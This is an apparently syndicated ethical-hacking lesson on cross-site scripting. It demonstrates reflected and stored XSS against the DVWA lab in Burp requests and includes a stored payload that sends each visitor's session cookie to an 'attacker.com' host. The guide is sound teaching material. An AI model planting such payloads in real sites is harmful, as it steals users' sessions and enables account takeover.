📰 Originally published on SecurityElites — the canonical, fully-updated version of this article.
DAY 14 OF 100
PHASE 2: WEB SECURITY
🟢 Day 14 — XSS Cross Site Scripting
Day 100 — Professional Pentester
14
SQL injection targets the database. Cross-site scripting targets the people. When XSS lands successfully, the browser of every user who visits that page becomes a tool running attacker-controlled code — in the full context of the legitimate website, with all the trust and permissions that entails. Their session cookies. Their keystrokes. Their ability to take actions on the site as themselves.
XSS is consistently among the most frequently reported vulnerabilities in bug bounty programmes. It’s in the OWASP Top 10. And it’s radically misunderstood — many developers think it’s just a popup, and many students think it’s just one thing. Today you’ll understand all three types, why each one works differently, and why the impact goes far beyond any alert box.
The name is confusing. Cross-site scripting sounds like it requires crossing between sites, but that’s not quite right. The “cross-site” refers to the fact that an attacker on one site is able to inject script that executes in the context of a different site — the vulnerable application. The word “scripting” refers to JavaScript — the most powerful capability running inside every browser. When an attacker gets their JavaScript executing on your origin, they get everything that origin is trusted with.
⚖️
Lab context: All XSS demonstrations in this lesson use DVWA running in your isolated lab environment. Injecting scripts into real websites without authorisation violates computer crime laws. In authorised security assessments, XSS is reported to the client with proof-of-concept demonstrating impact — cookie exfiltration in a controlled environment, never against actual users.
📋 Day 14 Contents
- How XSS Works — The Core Mechanic
- Reflected XSS — The URL-Based Attack
- Stored XSS — Persistent & More Dangerous
- DOM-Based XSS — The Client-Side Variant
- Real Impact — Beyond the Alert Box
- Cookie Theft — The Classic XSS Attack
- Basic Filter Bypass Techniques
- Content Security Policy (CSP)
- Prevention — Output Encoding & Context
- Day 14 Practical Task
How XSS Works — The Core Mechanic
XSS occurs when user-supplied data is included in a web page without proper encoding. The browser receives the page content, encounters what looks like legitimate JavaScript, and executes it — never knowing the script came from an attacker rather than the website’s developers.
The vulnerable pattern — user data rendered directly into HTML without encoding
What the developer intended (search page):
You searched for:
With normal input: ?query=laptops
You searched for: laptops
Browser renders: “You searched for: laptops” ← fine
With XSS payload: ?query=alert(‘XSS’)
You searched for: alert(‘XSS’)
Browser parses this as HTML containing a script tag
Executes alert(‘XSS’) — JavaScript now runs in the page
The fix — HTML encode the output before rendering:
<?php echo htmlspecialchars($_GET[‘query’], ENT_QUOTES, ‘UTF-8’); ?>
becomes <script> — rendered as text, not executed
</h1>
<p>The <code>alert()</code> call is purely a proof of concept — the traditional way to <em>confirm</em> script execution. But any JavaScript can run in that position. What matters is that the script runs in the origin of the vulnerable site — which means it has access to everything that origin controls: cookies, localStorage, the DOM, and the ability to make authenticated requests on the user’s behalf.</p>
<h2>
<a name="type-1-reflected-xss-the-urlbased-attack" href="#type-1-reflected-xss-the-urlbased-attack" class="anchor">
</a>
TYPE 1 Reflected XSS — The URL-Based Attack
</h2>
<p>Reflected XSS is <strong>non-persistent</strong>. The payload travels in the HTTP request (usually a URL parameter), gets reflected back in the response, and executes — but only for the user who made that specific request. The attacker can’t target random visitors directly. They have to trick a specific victim into clicking a crafted link.</p>
<p>Reflected XSS — DVWA demo in Burp Repeater</p>
<h1>
<a name="dvwa-→-xss-reflected-→-security-low" href="#dvwa-→-xss-reflected-→-security-low" class="anchor">
</a>
DVWA → XSS (Reflected) → Security: Low
</h1>
<h1>
<a name="the-form-sends-your-name-as-a-get-parameter" href="#the-form-sends-your-name-as-a-get-parameter" class="anchor">
</a>
The form sends your name as a GET parameter
</h1>
<h1>
<a name="normal-request-in-burp-repeater" href="#normal-request-in-burp-repeater" class="anchor">
</a>
Normal request in Burp Repeater
</h1>
<p>GET /dvwa/vulnerabilities/xss_r/?name=Alice HTTP/1.1<br>
Response: <p>Hello Alice</p></p>
<h1>
<a name="xss-test-inject-script-tag" href="#xss-test-inject-script-tag" class="anchor">
</a>
XSS test — inject script tag
</h1>
<p>GET /dvwa/vulnerabilities/xss_r/?name=<script>alert(‘XSS’)
Response:
Hello alert(‘XSS’)
Script tag reflected directly → alert fires in browser
The attack chain for reflected XSS:
- Attacker crafts URL: https://dvwa/xss_r/?name=…payload…
- Attacker sends this URL to victim (email, social media, message)
- Victim clicks the link — their browser sends the request
- Server reflects the payload back in the response
- Victim’s browser executes the script in the site’s origin # Victim never knew the link was malicious
TYPE 2 — HIGHER SEVERITY Stored XSS — Persistent & More Dangerous
Stored XSS is persistent. The payload is saved in the application’s database — in a comment, a user profile, a forum post, a product review. Every user who views the affected page executes the attacker’s script, with no need to click a crafted link. This is why stored XSS is rated higher severity — the attacker injects once, and potentially every visitor is affected.
Stored XSS — DVWA guestbook demo
DVWA → XSS (Stored) → Security: Low
The guestbook form has Name and Message fields
Messages are stored in the database and shown to all visitors
Intercept the POST with Burp and inject into the message field
POST /dvwa/vulnerabilities/xss_s/
txtName=Mr+Elite&mtxMessage=alert(‘Stored+XSS’)&btnSign=Sign+Guestbook
The script is now STORED in the database
Every user who visits the guestbook page executes the alert
Persistent until the record is deleted from the database
Real attack — more impactful payload stored in a comment
mtxMessage=Great+article!<br> new+Image().src=’<a href="https://attacker.com/steal?c=%E2%80%99+document.cookie">https://attacker.com/steal?c=’+document.cookie</a><br>
Every visitor’s session cookie sent to attacker server
No interaction beyond viewing the page required
This is why stored XSS on high-traffic pages is critical severity
📖 Read the complete guide on SecurityElites
This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on SecurityElites →
This article was originally written and published by the SecurityElites team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit SecurityElites.

Top comments (0)